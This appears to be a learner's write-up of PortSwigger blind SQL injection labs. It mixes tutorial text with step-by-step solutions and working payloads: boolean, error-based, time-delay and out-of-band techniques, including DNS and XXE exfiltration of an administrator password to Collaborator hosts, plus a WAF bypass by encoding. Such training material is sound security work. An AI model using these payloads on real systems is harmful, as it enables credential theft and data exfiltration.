# SQL Injection - Part 3 (Practical PortSwigger) ###### tags: `vulnerable` `top10owasp` `exploits` `tutorials` ## What is blind SQL injection? Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors. With blind SQL injection vulnerabilities, many techniques such as UNION attacks, are not effective because they rely on being able to see the results of the injected query within the application's responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used. ## Exploiting blind SQL injection by triggering conditional responses Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this: `Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4` When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using an SQL query like this: `SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'` This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a "Welcome back" message is displayed within the page. This behavior is enough to be able to exploit the blind SQL injection vulnerability and retrieve information by triggering different responses conditionally, depending on an injected condition. To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn: ``` …xyz' AND '1'='1 …xyz' AND '1'='2 ``` The first of these values will cause the query to return results, because the injected AND '1'='1 condition is true, and so the "Welcome back" message will be displayed. Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the "Welcome back" message will not be displayed. This allows us to determine the answer to any single injected condition, and so extract data one bit at a time. For example, suppose there is a table called `Users` with the columns Username and Password, and a user called `Administrator`. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time. To do this, we start with the following input: `xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm` This returns the "Welcome back" message, indicating that the injected condition is true, and so the first character of the password is greater than `m`. Next, we send the following input: ``` xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't ``` This does not return the "Welcome back" message, indicating that the injected condition is false, and so the first character of the password is not greater than t. Eventually, we send the following input, which returns the "Welcome back" message, thereby confirming that the first character of the password is s: `xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's` We can continue this process to systematically determine the full password for the `Administrator` user. **Note** *The SUBSTRING function is called SUBSTR on some types of database.* Answer: - As Lab: Blind SQL injection with conditional responses, on this LAB we need exploit username and password on table users with blind SQLi skill. - IDK what i will do so i take a look to solution for first time see blind injection so what we do to open the burp suite catch request and send it to repeater - On the first request we need change Cookie TrackID=xyz' with payload like *TrackID=xyz' AND '1'='1* and with that payload it will return welcome back and it cause SQLi Blind - On the second request we need change payload like *TrackID=xyz' AND '1'='2* and with that we can not see welcome back string return and it cause SQLi Blind with wrong condition - Check table users is existed on database we can use *TrackID=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a* - if it return welcome back we can know users exist and opposite we don't get this same as users not exist - So we need check adminstrator is exist on users - `TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a` ==> Welcomeback is return and we know adminstrator really exist on users table and password can start with `a` like kind of this. - The next step is to determine how many characters are in the password of the administrator user. To do this, change the value to: `TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a` Payload return welcomeback and it true with that and we know the password great than 1 character - Send a series of follow-up values to test different password lengths. Send: `TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a` Then send: `TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a` **And so on. You can do this manually using Burp Repeater, since the length is likely to be short. When the condition stops being true (i.e. when the "Welcome back" message disappears), you have determined the length of the password, which is in fact 20 characters long.** - After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use Burp Intruder. Send the request you are working on to Burp Intruder, using the context menu. - In the Positions tab of Burp Intruder, clear the default payload positions by clicking the "Clear §" button. - In the Positions tab, change the value of the cookie to: `TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a` This uses the SUBSTRING() function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn. - Place payload position markers around the final a character in the cookie value. To do this, select just the a, and click the "Add §" button. You should then see the following as the cookie value (note the payload position markers): `TrackingId=xyz' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§` - After that, we will choose the mode cluster boom which possible for us to dumb multiple payload and with that we need 2 list set for 2 position and switch to payloads tab and choose: - First place, we need number list 1-20 step = 1 because we know password contain 20 character so we need to brute force 20 times for each character - Second place, we need bruteforces a-z 0-9 and it all contain on bruteforces list and config it with min and max length = 1 - After that we will have 720 request and start attack button to attack this web and after minute we will receive the result (Recommend using the burpsuite Pro because speed is greater than burpsuite community) - After that choose filter tab and search welcome and sort list number we get for password and it will be like this ![](https://i.imgur.com/Rt3JyWK.png) - After sort proccesing we will get the pass string = x0prvc83y6sm68cgig4a ## Inducing conditional responses by triggering SQL errors In the preceding example, suppose instead that the application carries out the same SQL query, but does not behave any differently depending on whether the query returns any data. The preceding technique will not work, because injecting different Boolean conditions makes no difference to the application's responses. In this situation, it is often possible to induce the application to return conditional responses by triggering SQL errors conditionally, depending on an injected condition. This involves modifying the query so that it will cause a database error if the condition is true, but not if the condition is false. Very often, an unhandled error thrown by the database will cause some difference in the application's response (such as an error message), allowing us to infer the truth of the injected condition. To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn: ``` xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a ``` These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the CASE expression evaluates to 'a', which does not cause any error. With the second input, it evaluates to 1/0, which causes a divide-by-zero error. Assuming the error causes some difference in the application's HTTP response, we can use this difference to infer whether the injected condition is true. Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time: `xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a` Answer: - As Lab: Blind SQL injection with conditional errors, like above example the attacker need to stolen username and password of web with blind SQLi technical. - And with situation we won't get anything else about server to confirm about SQLi cause so we need you the case situation if true then do action if false we can't get anything so => let go exploit it - The target we will need to focus is TrackID and we will cause SQLi through it, for not waste time we get hint and solution so we know database uses ORACLE and it will exist the dual table for querry with 2 column return so we need use this. - So firstly, we will do with basic SQLi uses `'` to see what return and it return Internal Server Error ![](https://i.imgur.com/mUYhlrw.png) - Next we will confirm it Oracle database we will use select to check it use through dual table `TrackingId=xyz'||(SELECT '')||'` it will valid for database except Oracle so we need use dual table `TrackingId=xyz'||(SELECT '' FROM dual)||'` and with this it take affect and yeah it right oracle **NOTE**: - Don't use this `' (SELECT '' FROM dual)--` it take not affect and cause ERR - Can we replace it with `' UNION SELECT 'a','a' FROM dual--` and it also cause ERR and so need to accept above for good payload to test because after reading the Oracle it will accept `||` is available for payload. Okay i need read above some kind like to upgrade my acknowledge so continue :smile: ![](https://i.imgur.com/oT9ZTqN.png) - So it have the step to check not-a-real-table but i will skip this and it will return error and tell us about 'Your injection is being proccessed as a sql querry in backend' - As long as you make sure to always inject syntactically valid SQL queries, you can use this error response to infer key information about the database. For example, in order to verify that the users table exists, send the following query: `TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'` ![](https://i.imgur.com/3uD7Cte.png) I am okay with that so will already know that table is existing on database - Now check it with `Case` to test with DB `TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'` and **it cause ERR** take a look with next payload `TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'` and it not cause ERR we will know it okay with that so change users table and take a look with - Now check it with` FROM users` - First we need take a to really exist adminstatorby `TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||` and it cause err so we already know administrator is really exist on database. - Second we need take a look to lenth of password and do it with return not ERR so we can do it with this `TrackID=xyz'||(SELECT CASE WHEN LENGTH(password) > 20 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` do it manual or with burpsuite is your decide i will check the length 1-20 and if password greater than 20 it will not return error so we know password is exactly contain 20 character. - So we take a look for above method to check what the place of 1-20 are what ? and will do it will tab instruder and we can change a payload like `TrackID=xyz'||(SELECT CASE WHEN SUBSTRING(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` and will need send it to instruder and take a change on the twice place like this `'||(SELECT CASE WHEN SUBSTRING(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` and select CLUSTER BOOB method to with multiple list payload and - On the first place we will to take number 1-20 step 1 to make the suggest for position of bruteforces - On the second place we will take bruteforce tag contain alphebet and numberic and cause this with min max length =1 - After select on the payload we will cause 720 request to server and on the situation return err it is the character contain in password. Okay on the first test i am wrong becase SUBSTRING in Oracle is SUBSTR so change this to SUBSTR on payload `'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'` - So we need to check 500 err to confirm that position of character on the server and yet we got the password of administrator like o0fhpz4hdj63gpyq6sf6 so quite INTERESTING LOL :coffee: ![](https://i.imgur.com/ej8V89t.png) ## Exploiting blind SQL injection by triggering time delays In the preceding example, suppose that the application now catches database errors and handles them gracefully. Triggering a database error when the injected SQL query is executed no longer causes any difference in the application's response, so the preceding technique of inducing conditional errors will not work. In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays conditionally, depending on an injected condition. Because SQL queries are generally processed synchronously by the application, delaying the execution of an SQL query will also delay the HTTP response. This allows us to infer the truth of the injected condition based on the time taken before the HTTP response is received. The techniques for triggering a time delay are highly specific to the type of database being used. On Microsoft SQL Server, input like the following can be used to test a condition and trigger a delay depending on whether the expression is true: ``` '; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'-- ``` The first of these inputs will not trigger a delay, because the condition 1=2 is false. The second input will trigger a delay of 10 seconds, because the condition 1=1 is true. Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time: `'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--` Answer - Lab: Blind SQL injection with time delays we need cause SQLi to delay 10 second for web application - And we test some kind of payload and know it postSQL through delay time and we can cause this `TrackingId=x'||SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--` and i think it not work this LAB so do it with basicly `TrackingId=x'|| pg_sleep(10)--` ![](https://i.imgur.com/5jdXBqo.png) The work on do in this LAB is wait to receive respone from server :sweat_smile: - Lab: Lab: Blind SQL injection with time delays and information retrieval, with this lab we need to exploit the username and password and take this to login administrator - So first we need to pay attention to find what payload available for this database Oracle or PorgeSQL IDK so take a payload and wait if it respone after second with right condition it will be that database so take a test ![](https://i.imgur.com/OVkSLBq.png) - So with first Oracle payload it not respone after 10 second so it not like this database, So with second we will test it with MicrosoftSQL Server not yet, and yeal we find it the database it use is PostgreSQL and yet but you need payattention on some situation we need to url encode the payload for cookie submit IDK why we need on this lab because some other labs it will not need that :thinking_face: ***STRANGE THING***, so why we need this `';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--` ==> `'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--` - Next we confirm that so we will check users table really existed on this database and check that adminstrator is really existed on users table like this ![](https://i.imgur.com/22CelT3.png) the payload cause this is `'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` it means we select on case username='administrator' exist if it existed it cause sleep 10 second to respone and if not do not thing and response - Now we continue to check the length of password by the condition like this `'%3BSELECT+CASE+WHEN+(LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users WHERE username='administrator'--` so like this above we need to check length from 1 to 20 and if the length greater than 20 it will directly response and not wait so we can know exactly 20 character is password length - So we will use SUBSTRING Function on database to get the variables of that to guessing what position of character like this `'%3BSELECT+CASE+WHEN+(SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users WHERE username='administrator'--` and choose cluster boom with first position is numberic from 1-20 and seconds position is bruteforces list alphabet and numberic from 0-9 - And we test this situation by using resource pool tab on instruder because we need to check only one so we need choose custom reousrce pool 1 for 1 times request and START ATTACK and on result tab we can choose column to see the response receive (time to response) and yeah we take it after 5 6 minute for 720 request - And greate we had all of response and password is > 5000 because we choose time to response 4-5s ![](https://i.imgur.com/GVB6VUz.png) ## Exploiting blind SQL injection using out-of-band (OAST) techniques Now, suppose that the application carries out the same SQL query, but does it asynchronously. The application continues processing the user's request in the original thread, and uses another thread to execute an SQL query using the tracking cookie. The query is still vulnerable to SQL injection, however none of the techniques described so far will work: the application's response doesn't depend on whether the query returns any data, or on whether a database error occurs, or on the time taken to execute the query. In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering out-of-band network interactions to a system that you control. As previously, these can be triggered conditionally, depending on an injected condition, to infer information one bit at a time. But more powerfully, data can be exfiltrated directly within the network interaction itself. A variety of network protocols can be used for this purpose, but typically the most effective is DNS (domain name service). This is because very many production networks allow free egress of DNS queries, because they are essential for the normal operation of production systems. The easiest and most reliable way to use out-of-band techniques is using Burp Collaborator. This is a server that provides custom implementations of various network services (including DNS), and allows you to detect when network interactions occur as a result of sending individual payloads to a vulnerable application. Support for Burp Collaborator is built in to Burp Suite Professional with no configuration required. The techniques for triggering a DNS query are highly specific to the type of database being used. On Microsoft SQL Server, input like the following can be used to cause a DNS lookup on a specified domain: `'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--` Answer: - So Lab: Blind SQL injection with out-of-band interaction to let me know about DNS lookup, so use can take a look on cheat sheet and it tell SQLi cause by XXE through XML file => We create DNS collaboration with BurpPro - `'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--` Through of this we can know Ip address of website it like webhook cause SQLi and yeah quite fun so let take a look on the big problem to take adminisrtator password with this method Having confirmed a way to trigger out-of-band interactions, you can then use the out-of-band channel to exfiltrate data from the vulnerable application. For example: `'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--` This input reads the password for the Administrator user, appends a unique Collaborator subdomain, and triggers a DNS lookup. This will result in a DNS lookup like the following, allowing you to view the captured password: `S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net` Out-of-band (OAST) techniques are an extremely powerful way to detect and exploit blind SQL injection, due to the highly likelihood of success and the ability to directly exfiltrate data within the out-of-band channel. For this reason, OAST techniques are often preferable even in situations where other techniques for blind exploitation do work. Answer: - As Lab: Blind SQL injection with out-of-band data exfiltration, we will exploit administrator password through DNS server - So with will cause some payload like that - `'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--` - `'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.npg1hiusnnzi4earvlf5f6gnwe25qu.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--` - `'+||+SELECT%2bEXTRACTVALUE(xmltype('<%253fxml%2bversion%253d"1.0"%2bencoding%253d"UTF-8"%253f><!DOCTYPE%2broot%2b[%2b<!ENTITY%2b%2525%2bremote%2bSYSTEM%2b"http%253a//'||(SELECT%2bpassword%2bFROM%2busers%2bWHERE%2busername%253d'administrator')||'.npg1hiusnnzi4earvlf5f6gnwe25qu.oastify.com/">%2b%2525remote%253b]>'),'/l')%2bFROM%2bdual--` - So on respone DNS we will see the querry of this return on frontof DNS generate ![](https://i.imgur.com/LZpCyWt.png) ## SQL injection in different contexts In all of the labs so far, you've used the query string to inject your malicious SQL payload. However, it's important to note that you can perform SQL injection attacks using any controllable input that is processed as a SQL query by the application. For example, some websites take input in JSON or XML format and use this to query the database. These different formats may even provide alternative ways for you to obfuscate attacks that are otherwise blocked due to WAFs and other defense mechanisms. Weak implementations often just look for common SQL injection keywords within the request, so you may be able to bypass these filters by simply encoding or escaping characters in the prohibited keywords. For example, the following XML-based SQL injection uses an XML escape sequence to encode the S character in SELECT: ``` <stockCheck> <productId> 123 </productId> <storeId> 999 &#x53;ELECT * FROM information_schema.tables </storeId> </stockCheck> ``` This will be decoded server-side before being passed to the SQL interpreter. Answer: - ![](https://i.imgur.com/jABZiJP.png) ![](https://i.imgur.com/O7b2VoT.png) --- # So IT END OF BLIND AND OTHER BYPASS SQLi AND YEAH I LEARN ALOT ABOUT THAT SO TAKE A TIME TO USE IT AND I WILL RETURN TO SHARE NEW ABOUT OF MY PATH :coconut:. HAPPY HACKING :+1: